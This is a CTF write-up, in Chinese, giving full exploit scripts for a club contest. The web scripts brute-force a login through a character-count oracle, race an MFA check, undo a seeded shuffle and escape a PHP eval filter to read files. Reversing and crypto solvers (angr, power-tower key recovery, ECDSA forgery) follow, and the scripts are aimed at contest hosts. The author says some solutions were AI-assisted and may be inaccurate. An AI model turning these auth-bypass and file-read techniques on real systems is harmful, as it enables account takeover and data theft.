image

這次跟社團開了一場 CTF,以下是我解的題目的解法,有些是用 AI 解再回去補知識的,尤其是 Crypto,所以內容可能不一定正確

Web

grandmas_notes

image

網站是一個簡單的登入系統,根據題目檔案觀察,應該只有一個使用者 admin,登入後可以看到 Grandma 留下的備忘錄。Flag 就藏在這個備忘錄。

問題出在 login.php 裡面裡面有說會回報正確的字元數,所以可以走 oracle 的方式去做比對然後破解,逐個字元爆破

1$_SESSION['flash'] = "Invalid password, but you got {$correct} characters correct!";

exploit.py

  1import re
  2import sys
  3import time
  4import random
  5from typing import Optional
  6import requests
  7
  8DEFAULT_BASE = "http://52.59.124.14:5015"
  9CHARSET = (
 10    "abcdefghijklmnopqrstuvwxyz"
 11    "0123456789"
 12    "_-{}!@#$%^&*()=+[];:,.<>?/\\|`~"
 13    "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
 14    "'\""
 15)
 16
 17FLASH_RGX = re.compile(r"got\s+(\d+)\s+characters?\s+correct", re.IGNORECASE)
 18
 19def parse_flash_count(html: str) -> Optional[int]:
 20    m = FLASH_RGX.search(html)
 21    if not m:
 22        return None
 23    return int(m.group(1))
 24
 25def attempt(s: requests.Session, base: str, username: str, pw: str) -> tuple[bool, Optional[int]]:
 26    resp = s.post(f"{base}/login.php", data={"username": username, "password": pw}, allow_redirects=True, timeout=15)
 27    if "Dashboard" in resp.text and "Logged in as" in resp.text:
 28        return True, None
 29    n = parse_flash_count(resp.text)
 30    return False, n
 31
 32def recover_password(base: str, username: str = "admin", max_len: int = 32) -> str:
 33    s = requests.Session()
 34    prefix = ""
 35    last_n = 0
 36    print(f"[+] Target: {base}  user={username}")
 37    print("[+] Starting prefix oracle attack...")
 38    for pos in range(max_len):
 39        found = None
 40        for c in CHARSET:
 41            candidate = prefix + c
 42            ok, n = attempt(s, base, username, candidate)
 43            if ok:
 44                print(f"[+] Logged in early with full password: {candidate}")
 45                return candidate
 46            if n is None:
 47                time.sleep(0.2 + random.random() * 0.3)
 48                ok2, n2 = attempt(s, base, username, candidate)
 49                if ok2:
 50                    print(f"[+] Logged in early with full password: {candidate}")
 51                    return candidate
 52                n = n2
 53            if n is None:
 54                print(f"    [?] No flash parsed at pos={pos}, char={repr(c)}  (continuing)")
 55                continue
 56            if n > last_n:
 57                found = c
 58                last_n = n
 59                prefix = candidate
 60                print(f"[{pos:02d}] ✓ Found next char: {repr(c)}  -> prefix now: {prefix!r}")
 61                break
 62        if found is None:
 63            print("[!] No candidate increased the match count.")
 64            ok, _ = attempt(s, base, username, prefix)
 65            if ok:
 66                print(f"[+] Logged in with recovered password: {prefix}")
 67                return prefix
 68            else:
 69                print("[!] Likely the next character is outside the current CHARSET.")
 70                print("    Edit CHARSET in the script to include more characters (e.g., spaces or other unicode).")
 71                break
 72        time.sleep(0.05)
 73    return prefix
 74
 75
 76def fetch_flag(base: str, s: requests.Session) -> Optional[str]:
 77    r = s.get(f"{base}/dashboard.php", timeout=15)
 78    if r.status_code != 200:
 79        print(f"[!] Dashboard fetch failed: HTTP {r.status_code}")
 80        return None
 81    m = re.search(r"<textarea[^>]*>(.*?)</textarea>", r.text, re.DOTALL | re.IGNORECASE)
 82    if not m:
 83        return None
 84    note = m.group(1)
 85    return note.strip()
 86
 87def main():
 88    base = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_BASE
 89    username = "admin"
 90    s = requests.Session()
 91    recovered = recover_password(base, username=username, max_len=32)
 92    ok, _ = attempt(s, base, username, recovered)
 93    if not ok:
 94        print(f"[!] Final login with recovered password failed. Password so far: {recovered!r}")
 95        sys.exit(2)
 96    print(f"[+] Logged in as {username}. Fetching note...")
 97    note = fetch_flag(base, s)
 98    if note is None:
 99        print("[!] Could not find the note textarea.")
100        sys.exit(3)
101    print("\n=== NOTE ===")
102    print(note)
103    print("============")
104    print("[*] If the note contains the flag, you're done!")
105
106if __name__ == "__main__":
107    main()

pwgen

source code

 1<?php
 2ini_set("error_reporting", 0);
 3ini_set("short_open_tag", "Off");
 4
 5if(isset($_GET['source'])) {
 6    highlight_file(__FILE__);
 7}
 8
 9include "flag.php";
10
11$shuffle_count = abs(intval($_GET['nthpw']));
12
13if($shuffle_count > 1000 or $shuffle_count < 1) {
14    echo "Bad shuffle count! We won't have more than 1000 users anyway, but we can't tell you the master password!";
15    echo "Take a look at /?source";
16    die();
17}
18
19srand(0x1337); // the same user should always get the same password!
20
21for($i = 0; $i < $shuffle_count; $i++) {
22    $password = str_shuffle($FLAG);
23}
24
25if(isset($password)) {
26    echo "Your password is: '$password'";
27}
28
29?>

觀察 source code 發現有個 $FLAG 變數在 flag.php,然後用 nthpw 參數來決定要 shuffle 幾次,接下來關鍵在於 srand(0x1337)$password = str_shuffle($FLAG);,這會讓每次的亂數種子都一樣,而 str_shuffle() 會使用隨機數產生器 (RNG) 打亂順序,但因為 seed 是常數,所以這完全不隨機,因此只需要注意單次打亂後的結果就可以了

所以可以透過去 request 打亂後的密碼,接下來去使用相同的 seed 去還原,以下是用 php 寫的 exploit

 1<?php
 2$urlBase = 'http://52.59.124.14:5003/?nthpw=';
 3
 4function fetch_pwd($n) {
 5    global $urlBase;
 6    $html = @file_get_contents($urlBase . $n);
 7    if ($html === false) {
 8        fwrite(STDERR, "[!] Fetch failed for nth=$n\n");
 9        exit(1);
10    }
11    if (!preg_match("/Your password is: '([^']+)'/i", $html, $m)) {
12        fwrite(STDERR, "[!] Could not parse password for nth=$n. Raw:\n$html\n");
13        exit(1);
14    }
15    return $m[1];
16}
17
18function make_unique_bytes($L) {
19    $bytes = '';
20    for ($i = 0; $i < $L; $i++) $bytes .= chr($i);
21    return $bytes;
22}
23
24function permutation_for_n($L, $n) {
25    srand(0x1337);
26    $orig = make_unique_bytes($L);
27    $shuf = '';
28    for ($i = 0; $i < $n; $i++) {
29        $shuf = str_shuffle($orig);
30    }
31    $perm = array_fill(0, $L, null);
32    for ($pos = 0; $pos < $L; $pos++) {
33        $k = ord($shuf[$pos]);
34        $perm[$k] = $pos;
35    }
36    return $perm;
37}
38
39function unpermute($s, $perm) {
40    $L = strlen($s);
41    $orig = array_fill(0, $L, '');
42    for ($k = 0; $k < $L; $k++) {
43        $pos = $perm[$k];
44        $orig[$k] = $s[$pos];
45    }
46    return implode('', $orig);
47}
48
49$s1 = fetch_pwd(1);
50$s2 = fetch_pwd(2);
51
52$L = strlen($s1);
53if ($L !== strlen($s2)) {
54    fwrite(STDERR, "[!] Length mismatch between nth=1 and nth=2\n");
55    exit(1);
56}
57
58$p1 = permutation_for_n($L, 1);
59$p2 = permutation_for_n($L, 2);
60
61$flag1 = unpermute($s1, $p1);
62$flag2 = unpermute($s2, $p2);
63
64if ($flag1 !== $flag2) {
65    fwrite(STDERR, "[!] Inconsistency: FLAG candidates differ!\n");
66    fwrite(STDERR, "flag1: $flag1\nflag2: $flag2\n");
67    exit(1);
68}
69echo "[+] FLAG: $flag1\n";

webby

完整 source code

  1import web
  2import secrets
  3import random
  4import tempfile
  5import hashlib
  6import time
  7import shelve
  8import bcrypt
  9from web import form
 10web.config.debug = False
 11urls = (
 12  '/', 'index',
 13  '/mfa', 'mfa',
 14  '/flag', 'flag',
 15  '/logout', 'logout',
 16)
 17app = web.application(urls, locals())
 18render = web.template.render('templates/')
 19session = web.session.Session(app, web.session.ShelfStore(shelve.open("/tmp/session.shelf")))
 20FLAG = open("/tmp/flag.txt").read()
 21
 22def check_user_creds(user,pw):
 23    users = {
 24        # Add more users if needed
 25        'user1': 'user1',
 26        'user2': 'user2',
 27        'user3': 'user3',
 28        'user4': 'user4',
 29        'admin': 'admin',
 30
 31    }
 32    try:
 33        return users[user] == pw
 34    except:
 35        return False
 36
 37def check_mfa(user):
 38    users = {
 39        'user1': False,
 40        'user2': False,
 41        'user3': False,
 42        'user4': False,
 43        'admin': True,
 44    }
 45    try:
 46        return users[user]
 47    except:
 48        return False
 49
 50
 51login_Form = form.Form(
 52    form.Textbox("username", description="Username"),
 53    form.Password("password", description="Password"),
 54    form.Button("submit", type="submit", description="Login")
 55)
 56mfatoken = form.regexp(r"^[a-f0-9]{32}$", 'must match ^[a-f0-9]{32}$')
 57mfa_Form = form.Form(
 58    form.Password("token", mfatoken, description="MFA Token"),
 59    form.Button("submit", type="submit", description="Submit")
 60)
 61
 62class index:
 63    def GET(self):
 64        try:
 65            i = web.input()
 66            if i.source:
 67                return open(__file__).read()
 68        except Exception as e:
 69            pass
 70        f = login_Form()
 71        return render.index(f)
 72
 73    def POST(self):
 74        f = login_Form()
 75        if not f.validates():
 76            session.kill()
 77            return render.index(f)
 78        i = web.input()
 79        if not check_user_creds(i.username, i.password):
 80            session.kill()
 81            raise web.seeother('/')
 82        else:
 83            session.loggedIn = True
 84            session.username = i.username
 85            session._save()
 86
 87        if check_mfa(session.get("username", None)):
 88            session.doMFA = True
 89            session.tokenMFA = hashlib.md5(bcrypt.hashpw(str(secrets.randbits(random.randint(40,65))).encode(),bcrypt.gensalt(14))).hexdigest()
 90            #session.tokenMFA = "acbd18db4cc2f85cedef654fccc4a4d8"
 91            session.loggedIn = False
 92            session._save()
 93            raise web.seeother("/mfa")
 94        return render.login(session.get("username",None))
 95
 96class mfa:
 97    def GET(self):
 98        if not session.get("doMFA",False):
 99            raise web.seeother('/login')
100        f = mfa_Form()
101        return render.mfa(f)
102
103    def POST(self):
104        if not session.get("doMFA", False):
105            raise web.seeother('/login')
106        f = mfa_Form()
107        if not f.validates():
108            return render.mfa(f)
109        i = web.input()
110        if i.token != session.get("tokenMFA",None):
111            raise web.seeother("/logout")
112        session.loggedIn = True
113        session._save()
114        raise web.seeother('/flag')
115
116
117class flag:
118    def GET(self):
119        if not session.get("loggedIn",False) or not session.get("username",None) == "admin":
120            raise web.seeother('/')
121        else:
122            session.kill()
123            return render.flag(FLAG)
124
125
126class logout:
127    def GET(self):
128        session.kill()
129        raise web.seeother('/')
130
131application = app.wsgifunc()
132if __name__ == "__main__":
133    app.run()

問題出在有一個 race condition 在登入中

 1else:
 2    session.loggedIn = True
 3    session.username = i.username
 4    session._save()
 5
 6if check_mfa(session.get("username", None)):
 7    session.doMFA = True
 8    session.tokenMFA = hashlib.md5(bcrypt.hashpw(str(secrets.randbits(random.randint(40,65))).encode(), bcrypt.gensalt(14))).hexdigest()
 9    session.loggedIn = False
10    session._save()
11    raise web.seeother("/mfa")

因為 loggedIn=True 是先寫進去的,接下來才檢查是否需要 MFA,如果需要的話就會把 loggedIn 設成 False,所以可以利用 race condition 去嘗試取得 flag

exploit.py

 1import threading
 2import time
 3import sys
 4try:
 5    import requests
 6except ImportError:
 7    print("requests not installed. Please install with: py -m pip install requests")
 8    sys.exit(1)
 9BASE_URL = "http://52.59.124.14:5010"
10def spam_login(session: requests.Session, stop_event: threading.Event) -> None:
11    while not stop_event.is_set():
12        try:
13            session.post(
14                f"{BASE_URL}/",
15                data={"username": "admin", "password": "admin", "submit": "submit"},
16                timeout=2,
17                allow_redirects=False,
18            )
19        except Exception:
20            pass
21def poll_flag(session: requests.Session, stop_event: threading.Event, result_holder: dict) -> None:
22    while not stop_event.is_set():
23        try:
24            r = session.get(f"{BASE_URL}/flag", timeout=2, allow_redirects=False)
25            if r.status_code == 200:
26                result_holder["hit"] = True
27                result_holder["body"] = r.text
28                stop_event.set()
29                return
30        except Exception:
31            pass
32def main() -> int:
33    s = requests.Session()
34    adapter = requests.adapters.HTTPAdapter(pool_connections=50, pool_maxsize=100)
35    s.mount("http://", adapter)
36    s.mount("https://", adapter)
37    try:
38        s.get(BASE_URL + "/", timeout=3)
39    except Exception:
40        pass
41    stop = threading.Event()
42    result = {"hit": False, "body": ""}
43    pollers = []
44    for _ in range(50):
45        t = threading.Thread(target=poll_flag, args=(s, stop, result), daemon=True)
46        pollers.append(t)
47        t.start()
48    spammers = []
49    for _ in range(5):
50        t = threading.Thread(target=spam_login, args=(s, stop), daemon=True)
51        spammers.append(t)
52        t.start()
53    deadline = time.time() + 90
54    while time.time() < deadline and not stop.is_set():
55        time.sleep(0.05)
56    stop.set()
57    if result["hit"]:
58        print("[+] Flag page fetched!\n")
59        sys.stdout.write(result["body"])
60        return 0
61    else:
62        print("[-] No hit. Try re-running; races are probabilistic.")
63        return 2
64if __name__ == "__main__":
65    sys.exit(main())

Slasher

source code

 1<?php
 2ini_set("error_reporting", 0);
 3ini_set("short_open_tag", "Off");
 4
 5set_error_handler(function($_errno, $errstr) {
 6    echo "Something went wrong!";
 7});
 8
 9if(isset($_GET['source'])) {
10    highlight_file(__FILE__);
11    die();
12}
13
14include "flag.php";
15
16$output = null;
17if(isset($_POST['input']) && is_scalar($_POST['input'])) {
18    $input = $_POST['input'];
19    $input = htmlentities($input,  ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
20    $input = addslashes($input);
21    $input = addcslashes($input, '+?<>&v=${}%*:.[]_-0123456789xb `;');
22    try {
23        $output = eval("$input;");
24    } catch (Exception $e) {
25        // nope, nothing
26    }
27}
28?>

image

  • input 會經過 htmlentitiesaddslashesaddcslashes,blacklist 有 '+?<>&v=${}%*:.[]_-0123456789xb \;`。
  • 允許「英文字母、逗號、括號、return」等,且 eval 可執行 function calls。
  • include "flag.php"; 可以知道 flag 應該在 flag.php

想法:

  • 不能用引號與數字,所以無法直接指定字串/ index
  • 可以使用 opendir(getcwd()) 開啟當前目錄,之後呼叫 readdir() 會使用「最近一次 opendir 的 handle」,每次呼叫會往下走一個檔名。
  • readfile(filename) 可以直接把檔案內容輸出。
  • 利用 min(...) 讓整個表達式返回數字,頁面才會顯示結果;同時不需要字串/數字。

所以可以透過多次 readdir(),然後 readfile(readdir()) 讀出下一個檔案,可以直接爆破

 1import sys
 2import re
 3import requests
 4
 5def build_payload(offset: int) -> str:
 6    reads = ",".join(["readdir()" for _ in range(offset)])
 7    parts = ["opendir(getcwd())"]
 8    if reads:
 9        parts.append(reads)
10    parts.append("readfile(readdir())")
11    inner = ",".join(parts)
12    return f"return(min({inner}))"
13
14
15def attempt(url: str, offset: int) -> str:
16    payload = build_payload(offset)
17    print(payload)
18    resp = requests.post(
19        url,
20        data={"input": payload},
21        headers={"Content-Type": "application/x-www-form-urlencoded"},
22        timeout=10,
23    )
24    return resp.text
25
26def main():
27    if len(sys.argv) < 2:
28        print("Usage: python exploit.py <base_url>")
29        print("Example: python exploit.py http://52.59.124.14:5011/")
30        sys.exit(1)
31
32    base_url = sys.argv[1].rstrip("/") + "/"
33    flag_re = re.compile(r"ENO\{[^}]+\}")
34    for offset in range(0, 16):
35        try:
36            html = attempt(base_url, offset)
37        except requests.RequestException as e:
38            print(f"[!] offset {offset}: request error: {e}")
39            continue
40        m = flag_re.search(html)
41        if m:
42            print(f"[+] Found flag at offset {offset}: {m.group(0)}")
43            return
44        if "docker-compose" in html:
45            where = "docker-compose.yml"
46        elif "FROM php:8-apache" in html:
47            where = "Dockerfile"
48        elif "ini_set(\"error_reporting\"" in html or "include \"flag.php\"" in html:
49            where = "index.php"
50        elif "--bg:#0f1115;" in html:
51            where = "style.css"
52        else:
53            where = "unknown/dir-entry"
54        print(f"[*] offset {offset}: hit {where}")
55    print("[-] Flag not found in tested range.")
56
57if __name__ == "__main__":
58    main()

Reverse

hidden_strings

檔案只有給一個 binary 然後是個 flag checker,執行後會要求輸入 flag,然後會檢查是否正確,經過 ida 分析後發現,正確會輸出 correct flag、反之輸出 wrong flag please try again,後面因為 code 看起來寫得蠻簡單的,也沒有防 angr,所以決定直接用 angr 去解

 1import angr
 2import claripy
 3
 4project = angr.Project('./challenge', auto_load_libs=False)
 5
 6flag_chars = [claripy.BVS(f'flag_{i}', 8) for i in range(20)]
 7flag = claripy.Concat(*flag_chars)
 8
 9initial_state = project.factory.entry_state(stdin=claripy.Concat(flag, claripy.BVV(ord('\n'), 8)))
10
11initial_state.solver.add(flag_chars[0] == ord('E'))
12initial_state.solver.add(flag_chars[1] == ord('N'))
13initial_state.solver.add(flag_chars[2] == ord('O'))
14initial_state.solver.add(flag_chars[3] == ord('{'))
15
16for i in range(4, 19):
17    initial_state.solver.add(flag_chars[i] >= 0x20)
18    initial_state.solver.add(flag_chars[i] <= 0x7e)
19
20simulation = project.factory.simulation_manager(initial_state)
21
22simulation.explore(find=lambda s: b"correct flag" in s.posix.dumps(1))
23
24if simulation.found:
25    found_state = simulation.found[0]
26    flag_solution = found_state.solver.eval(flag, cast_to=bytes)
27    flag_str = flag_solution.decode('ascii', errors='ignore')
28    print(f"Flag: {flag_str}")
29else:
30    print("Flag not found")
31    print(f"Active states: {len(simulation.active)}")
32    print(f"Deadended states: {len(simulation.deadended)}")

crypto

Power tower

這題給了 chall.py 和 cipher.txt

chall.py

 1from Crypto.Cipher import AES
 2from Crypto.Util import number
 3
 4# n = number.getRandomNBitInteger(256)
 5n = 107502945843251244337535082460697583639357473016005252008262865481138355040617
 6
 7primes = [p for p in range(100) if number.isPrime(p)]
 8int_key = 1
 9for p in primes: int_key = p**int_key
10
11key = int.to_bytes(int_key % n,32, byteorder = 'big')
12
13flag = open('flag.txt','r').read().strip()
14flag += '_' * (-len(flag) % 16)
15cipher = AES.new(key, AES.MODE_ECB).encrypt(flag.encode())
16print(cipher.hex())

cipher.txt

b6c4d050dd08fd8471ef06e73d39b359e3fc370ca78a3426f01540985b88ba66ec9521e9b68821fed1fa625e11315bf9

基本上觀察程式會發現他一開始會取出 100 以下所有質數,接下來會透過迴圈產生 int_key,然後計算 int_key % n,作為 AES 的 key 去加密 flag

可以利用數論:

  • 若 gcd(base, m) = 1,則 a^e mod m 可以透過 Carmichael λ(m) 做降冪
  • 若 gcd ≠ 1,則需檢查真實指數是否 ≥ λ(m),必要時補上 λ(m)

這樣遞迴計算,就能在合理時間內求出 int_key % n。 最後再用這個 key 解開 cipher.txt,就能得到 flag。

exploit.py

 1from Crypto.Cipher import AES
 2from Crypto.Util import number as cnum
 3import sympy as sp
 4from math import gcd
 5from functools import lru_cache
 6
 7n = 107502945843251244337535082460697583639357473016005252008262865481138355040617
 8
 9primes = [p for p in range(100) if cnum.isPrime(p)]
10primes_desc = list(reversed(primes))
11
12ct_hex = "b6c4d050dd08fd8471ef06e73d39b359e3fc370ca78a3426f01540985b88ba66ec9521e9b68821fed1fa625e11315bf9"
13
14@lru_cache(maxsize=None)
15def factorint_cached(m: int):
16    return sp.factorint(m) if m > 1 else {}
17
18@lru_cache(maxsize=None)
19def carmichael_lambda(m: int) -> int:
20    if m <= 1:
21        return 1
22    fac = factorint_cached(m)
23    parts = []
24    for p, k in fac.items():
25        if p == 2:
26            if k == 1: lam = 1
27            elif k == 2: lam = 2
28            else: lam = 1 << (k - 2)
29        else:
30            lam = (p - 1) * (p ** (k - 1))
31        parts.append(lam)
32    from math import gcd
33    def lcm(a, b): return a // gcd(a, b) * b
34    lam_total = 1
35    for part in parts:
36        lam_total = lcm(lam_total, part)
37    return lam_total
38
39def ceil_log_base_int(a: int, t: int) -> int:
40    if t <= 1: return 0
41    e, v = 0, 1
42    while v < t:
43        v *= a
44        e += 1
45    return e
46
47def make_exponent_checker():
48    @lru_cache(maxsize=None)
49    def exponent_is_ge_threshold(idx: int, threshold: int) -> bool:
50        if threshold <= 1: return True
51        if idx >= len(primes_desc): return 1 >= threshold
52        a = primes_desc[idx]
53        need = ceil_log_base_int(a, threshold)
54        return exponent_is_ge_threshold(idx + 1, need)
55    return exponent_is_ge_threshold
56
57exp_ge = make_exponent_checker()
58
59@lru_cache(maxsize=None)
60def tower_mod(idx: int, m: int) -> int:
61    if m == 1: return 0
62    if idx >= len(primes_desc): return 1 % m
63    a = primes_desc[idx]
64    lam = carmichael_lambda(m)
65    e_mod = tower_mod(idx + 1, lam)
66    if gcd(a, m) == 1:
67        exponent = e_mod
68    else:
69        exponent = e_mod + (lam if exp_ge(idx + 1, lam) else 0)
70    return pow(a, exponent, m)
71
72int_key_mod_n = tower_mod(0, n)
73key = int_key_mod_n.to_bytes(32, "big")
74print("[+] Key =", key.hex())
75
76ct = bytes.fromhex(ct_hex)
77pt = AES.new(key, AES.MODE_ECB).decrypt(ct).decode().strip("_")
78print("[+] Flag =", pt)

Simple ECDSA

這題給了 chall.py、ec.py

chall.py

 1#!/usr/bin/env python3
 2import os
 3import sys
 4import hashlib
 5
 6from ec import *
 7def bytes_to_long(a):
 8	return int(a.hex(),16)
 9
10#P-256 parameters
11p = 0xffffffff00000001000000000000000000000000ffffffffffffffffffffffff
12a = -3
13b = 0x5ac635d8aa3a93e7b3ebbd55769886bc651d06b0cc53b0f63bce3c3e27d2604b
14n = 0xffffffff00000000ffffffffffffffffbce6faada7179e84f3b9cac2fc632551
15curve = EllipticCurve(p,a,b, order = n)
16G = ECPoint(curve, 0x6b17d1f2e12c4247f8bce6e563a440f277037d812deb33a0f4a13945d898c296, 0x4fe342e2fe1a7f9b8ee7eb4a7c0f9e162bce33576b315ececbb6406837bf51f5)
17
18d_a = bytes_to_long(os.urandom(32))
19P_a = G * d_a
20
21def hash(msg):
22	return int(hashlib.md5(msg).hexdigest(), 16)
23
24def sign(msg : bytes, DEBUG = False):
25	if type(msg) == str: msg = msg.encode()
26	msg_hash = hash(msg)
27	while True:
28		k = bytes_to_long(os.urandom(n.bit_length() >> 3))
29		R = G*k
30		if R.inf: continue
31		x,y = R.x, R.y
32		r = x % n
33		s = inverse(k, n) * (msg_hash + d_a) % n
34		if r == 0 or s == 0: continue
35		return r,s
36
37def verify(r:int, s:int, msg:bytes, P_a):
38	r %= n
39	s %= n
40	if r == 0 or s == 0: return False
41	s1 = inverse(s,n)
42	u = hash(msg) * s1 % n
43	v = s1 % n
44	R = G * u + P_a * v
45	return r % n == R.x % n
46
47def loop():
48	while True:
49		option = input('Choose an option:\n1 - get message/signature\n2 - get challenge to sign\n').strip()
50		if option == '1':
51			message = os.urandom(32)
52			print(message.hex())
53			signature = sign(message)
54			assert(verify(*signature,message,P_a))
55			print(signature)
56		elif option == '2':
57			challenge = os.urandom(32)
58			signature = input(f'sign the following challenge {challenge.hex()}\n')
59			r,s = [int(x) for x in signature.split(',')]
60			if r == 0 or s == 0:
61				print("nope")
62			elif verify(r, s, challenge, P_a):
63				print(open('flag.txt','r').read())
64			else:
65				print('wrong signature')
66		else:
67			print('Wrong input format')
68
69if __name__ == '__main__':
70	print('My public key is:')
71	print(P_a)
72	try:
73		loop()
74	except Exception as err:
75		print(repr(err))

ec.py

 1#!/usr/bin/env python3
 2def inverse(a,n):
 3	return pow(a,-1,n)
 4
 5class EllipticCurve(object):
 6	def __init__(self, p, a, b, order = None):
 7		self.p = p
 8		self.a = a
 9		self.b = b
10		self.n = order
11
12	def __str__(self):
13		return 'y^2 = x^3 + %dx + %d modulo %d' % (self.a, self.b, self.p)
14
15	def __eq__(self, other):
16		return (self.a, self.b, self.p) == (other.a, other.b, other.p)
17
18class ECPoint(object):
19	def __init__(self, curve, x, y, inf = False):
20		self.x = x % curve.p
21		self.y = y % curve.p
22		self.curve = curve
23		if inf or not self.is_on_curve():
24			self.inf = True
25			self.x = 0
26			self.y = 0
27		else:
28			self.inf = False
29
30	def is_on_curve(self):
31		return self.y**2 % self.curve.p == (self.x**3 + self.curve.a*self.x + self.curve.b) % self.curve.p
32
33	def copy(self):
34		return ECPoint(self.curve, self.x, self.y)
35	
36	def __neg__(self):
37		return ECPoint(self.curve, self.x, -self.y, self.inf)
38
39	def __add__(self, point):
40		p = self.curve.p
41		if self.inf:
42			return point.copy()
43		if point.inf:
44			return self.copy()
45		if self.x == point.x and (self.y + point.y) % p == 0:
46			return ECPoint(self.curve, 0, 0, True)
47		if self.x == point.x:
48			lamb = (3*self.x**2 + self.curve.a) * inverse(2 * self.y, p) % p
49		else:
50			lamb = (point.y - self.y) * inverse(point.x - self.x, p) % p
51		x = (lamb**2 - self.x - point.x) % p
52		y = (lamb * (self.x - x) - self.y) % p
53		return ECPoint(self.curve,x,y)
54
55	def __sub__(self, point):
56		return self + (-point)
57
58	def __str__(self):
59		if self.inf: return 'Point(inf)'
60		return 'Point(%d, %d)' % (self.x, self.y)
61
62	def __mul__(self, k):
63		k = int(k)
64		base = self.copy()
65		res = ECPoint(self.curve, 0,0,True)
66		while k > 0:
67			if k & 1:
68				res = res + base
69			base = base + base
70			k >>= 1
71		return res
72
73	def __eq__(self, point):
74		return (self.inf and point.inf) or (self.x == point.x and self.y == point.y)
75
76if __name__ == '__main__':
77	p = 17
78	a = -1
79	b = 1
80	curve = EllipticCurve(p,a,b)
81	P = ECPoint(curve, 1, 1)
82	print(P+P)

問題應該是出在 s 的計算少了 r,所以只要找到一個 (r, s),滿足以下即可。

1s1 = s^{-1}
2u = H(m) * s1
3v = s1
4R = G*u + P_a*v = (G*H(m) + P_a) * s1
5accept if r == R.x mod n

驗證公式化簡後變成

1R = (G*H(m) + P_a) * s^{-1}
2r = R.x mod n

所以可以:

  • 拿到 challenge m,計算 h = MD5(m)。
  • 算 W = G*h + P_a。
  • 任選一個 s ≠ 0,令 R = W * s^{-1}。
  • 設 r = R.x mod n,送出 (r, s)。

這樣 server 就會接受並回傳 flag。

exploit.py

 1#!/usr/bin/env python3
 2from pwn import *
 3import hashlib, random, re
 4from ec import EllipticCurve, ECPoint, inverse
 5
 6context.log_level = "info"
 7
 8HOST, PORT = "52.59.124.14", 5050
 9
10p = 0xffffffff00000001000000000000000000000000ffffffffffffffffffffffff
11a = -3
12b = 0x5ac635d8aa3a93e7b3ebbd55769886bc651d06b0cc53b0f63bce3c3e27d2604b
13n = 0xffffffff00000000ffffffffffffffffbce6faada7179e84f3b9cac2fc632551
14curve = EllipticCurve(p, a, b, order=n)
15G = ECPoint(curve,
16    0x6b17d1f2e12c4247f8bce6e563a440f277037d812deb33a0f4a13945d898c296,
17    0x4fe342e2fe1a7f9b8ee7eb4a7c0f9e162bce33576b315ececbb6406837bf51f5
18)
19
20def H(msg_bytes):
21    return int(hashlib.md5(msg_bytes).hexdigest(), 16)
22
23def parse_point(s: str):
24    m = re.search(r"Point\((\d+),\s*(\d+)\)", s)
25    if not m:
26        raise ValueError("Failed to parse public key line: " + s)
27    return int(m.group(1)), int(m.group(2))
28
29def main():
30    io = remote(HOST, PORT)
31
32    io.recvuntil(b"My public key is:\n")
33    pub_line = io.recvline().decode(errors="ignore")
34    Px, Py = parse_point(pub_line)
35    P_a = ECPoint(curve, Px, Py)
36
37    io.recvuntil(b"Choose an option:")
38    io.sendline(b"2")
39
40    try:
41        m = io.recvregex(br'([0-9a-fA-F]{64})', exact=False, timeout=5.0)
42        chal_hex = re.search(br'([0-9a-fA-F]{64})', m).group(1).decode()
43    except Exception:
44        leaked = io.recvrepeat(0.5)
45        log.error("Could not find 64-hex challenge; recent data:\n" + leaked.decode(errors="ignore"))
46        return
47
48    m_bytes = bytes.fromhex(chal_hex)
49    h = H(m_bytes)
50    W = (G * h) + P_a
51    while True:
52        s_val = random.randrange(1, n)
53        R = W * inverse(s_val, n)
54        if not R.inf:
55            r_val = R.x % n
56            if r_val != 0:
57                break
58
59    io.sendline(f"{r_val},{s_val}".encode())
60    io.interactive()
61
62if __name__ == "__main__":
63    main()

A slice of keys

題目給了 chall.py

 1from Crypto.PublicKey import RSA
 2from Crypto.Cipher import AES
 3
 4flag = open('flag.txt','r').read().strip().encode()
 5pad = (16 - len(flag)) % 16
 6flag = flag + pad * int(16).to_bytes()
 7
 8key = RSA.generate(2048, e = 1337)
 9n = key.n
10e = key.e
11d = key.d
12
13AES_key = int(bin(d)[2:258:2],2).to_bytes(16)
14crypter = AES.new(AES_key, AES.MODE_ECB)
15cipher = crypter.encrypt(flag)
16print(cipher.hex())
17
18for _ in range(128):
19	user_input = input('(e)ncrypt|(d)ecrypt:<number>\n')
20	option,m = user_input.split(':')
21	m = int(m)
22	if option == 'e':
23		print(pow(m,e,n))
24	elif option == 'd':
25		print(pow(m,d,n))
26	else:
27		print('wrong option')

問題出在 AES key 取自 d 的 256 位中的偶數位,形成 128-bit key。只要知道 d 的高位相似,就能 recover 這個 key 進而解出 flag。

exploit.py

  1import os
  2import re
  3import random
  4from math import gcd
  5from typing import Tuple
  6
  7from pwn import remote, log
  8from Crypto.Cipher import AES
  9
 10HOST = "52.59.124.14"
 11PORT = 5103
 12
 13PROMPTS = [
 14    b"(e)ncrypt|(d)ecrypt:", b"encrypt", b"decrypt", b"(e)ncrypt", b"(d)ecrypt",
 15    b"option", b"choice", b">", b":"
 16]
 17DEC_INT_RE = re.compile(r"^-?\d+$")
 18
 19def recv_until_any(r, needles, timeout=6):
 20    data = b""
 21    while True:
 22        chunk = r.recv(timeout=timeout)
 23        if not chunk:
 24            break
 25        data += chunk
 26        for nd in needles:
 27            if nd in data:
 28                return data
 29        if len(data) > 2_000_000:
 30            break
 31    return data
 32
 33def parse_initial_banner(data: bytes) -> Tuple[bytes, bytes]:
 34    lines = data.decode(errors="ignore").splitlines()
 35    cipher_hex = None
 36    for line in lines:
 37        s = line.strip()
 38        if re.fullmatch(r"[0-9a-fA-F]+", s) and len(s) % 32 == 0 and len(s) >= 32:
 39            cipher_hex = s
 40            break
 41    if cipher_hex is None:
 42        cipher_hex = lines[0].strip()
 43    return bytes.fromhex(cipher_hex), data
 44
 45def read_decimal_line(r, timeout=5) -> int:
 46    while True:
 47        line = r.recvline(timeout=timeout)
 48        if not line:
 49            raise EOFError("Connection closed while reading result")
 50        s = line.decode(errors="ignore").strip()
 51        if DEC_INT_RE.fullmatch(s):
 52            return int(s)
 53
 54class Oracle:
 55    def __init__(self, tube):
 56        self.tube = tube
 57
 58    def enc(self, m: int) -> int:
 59        self.tube.sendline(f"e:{m}".encode())
 60        return read_decimal_line(self.tube)
 61
 62    def dec(self, c: int) -> int:
 63        self.tube.sendline(f"d:{c}".encode())
 64        return read_decimal_line(self.tube)
 65
